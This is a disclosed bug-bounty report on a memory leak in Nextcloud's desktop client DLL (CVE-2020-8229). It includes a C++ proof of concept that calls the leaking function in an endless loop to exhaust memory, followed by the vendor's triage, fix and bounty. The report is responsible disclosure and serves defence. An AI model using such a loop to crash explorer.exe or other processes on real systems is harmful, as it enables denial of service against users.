40 **Memory Leak in OCUtil.dll library in Desktop client can lead to DoS**

Share:

TIMELINE

cwave submitted a report to Nextcloud. May 23rd (4 years ago)

The function IsChildFile(const wchar_t *rootFolder, const wchar_t* file) in FileUtil.cpp allocates memory on line 42 and fails to free it.

The following PoC code can provide evidence. The code and the PoC executable is attached to this report. Also OCUtils.dll and OCUtils_x64.dll library which is delivered with Nextclound Windows installer was included in the attachment.

Steps to reproduce:

1. Launch tests.exe (see attachment) or compile the attached VS2017 solution and launch the resulted executable
2. Make sure OCUtil_x64 library is in the System library path
3. Open Windows Task Manager and watch how the amount of memory for tests.exe process is increasing.

A Visual Studio debugging session screenshot is also attached whre you can see the memory in use.

include "pch.h"

include `<iostream>`

include <windows.h>

```
typedef bool(__cdecl f_IsChildFile)(const wchar_t rootFolder, const wchar_t* file);

int main()
{
HINSTANCE hGetProcIDDLL = LoadLibrary(L"OCUtil_x64.dll");

if (!hGetProcIDDLL) {
std::cout << "could not load the dynamic library" << std::endl;
return EXIT_FAILURE;
}

f_IsChildFile isChildFile = (f_IsChildFile)GetProcAddress(hGetProcIDDLL, "?IsChildFile@FileUtil@@SA_NPEB_W0@Z");
if (!isChildFile) {
std::cout << "could not locate the function" << std::endl;
return EXIT_FAILURE;
}

std::cout << "Function is at " << isChildFile;

const wchar_t folder = L"C:\TestFolder";
const wchar_t file = L"C:\As they rounded a bend in the path that ran beside the river, Lara recognized the silhouette of a fig tree atop a nearby hill. The weather was hot and the days were long. The fig tree was in full leaf, but not yet bearing fruit. Soon Lara spotted other";

bool res;

while (1) {
res = isChildFile(folder, file);
std::cout << res << "\n";
}

return 0;
}
```

Impact

Memory leaks have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this case, the memory allocated in FileUtil.cpp at line 42 is not always freed or returned by the function.

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker may be able to launch a denial of service attack (by crashing the program) or take advantage of other unexpected program behavior resulting from a low memory condition

The function IsChildFile(const wchar_t *rootFolder, const wchar_t* file) is part of OCUtil.dll library which is delivered with Nextcloud Windows installer and it is loaded in explorer.exe process in order to provide context menu functionalities.
By using the context menu functionality multiple times, explorer.exe could pottentialy run out of memory.

2 attachments:
F495216: VS_PoC.JPG
F495217: nextcloud_memory_leak_poc.zip

BOT: posted a comment. May 23rd (4 years ago)

Thanks a lot for reporting this potential issue back to us!

rullzer posted a comment. May 27th (4 years ago)

Hi @cwave,

Thanks for your report. I'll reach out to out desktop client and get back to you.

Cheers,
--Roeland

rullzer changed the status to **Triaged**. May 27th (4 years ago)

cwave posted a comment. May 27th (4 years ago)

Thank you, @rullzer

cwave posted a comment. Jun 26th (3 years ago)

Hi @rullzer

Any update on this?

Thank you,
Cosmin

nickvergessen Nextcloud staff posted a comment. May 12th (3 years ago)

Hi @cwave

sorry it took us so long. We are now working on a fix and went for a public PR on our github repo for it, as it can't be abused by others, only by your server administrator which can also do other harmful things.
You can find the fix in https://github.com/nextcloud/desktop/pull/1972

It will be merged soon and then end up in our next maintenance releases of the desktop client.

cheers Joas

nickvergessen Nextcloud staff closed the report and changed the status to **Resolved**. Jul 29th (2 years ago)

Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
- Email address (optional)
- Website (optional)
- Company (optional)

cwave posted a comment. Jul 31st (2 years ago)

Hi,

I am glad you managed to deliver the fix. I'd be happy to be credited in your official advisory, here's my info:

- Cosmin Craciun (cwave)
- cwaverst@gmail.com
- Software Security Engineer at Finastra

Regards,
Cosmin.

Aug 3rd (2 years ago)
nickvergessen Nextcloud staff
changed the report title from **Memory Leak in OCUtil.dll library that could lead to DoS of the entire system** to **Memory Leak in OCUtil.dll library in Desktop client can lead to DoS**.

nickvergessen Nextcloud staff requested to disclose this report. Aug 5th (2 years ago)

SA will be published at https://nextcloud.com/security/advisory/?id=NC-SA-2020-034
Requested CVE: CVE-2020-8229

cwave agreed to disclose this report. Aug 6th (2 years ago)

This report has been disclosed. Aug 6th (2 years ago)

Nextcloud rewarded cwave with a **$100** bounty. Aug 17th (2 years ago)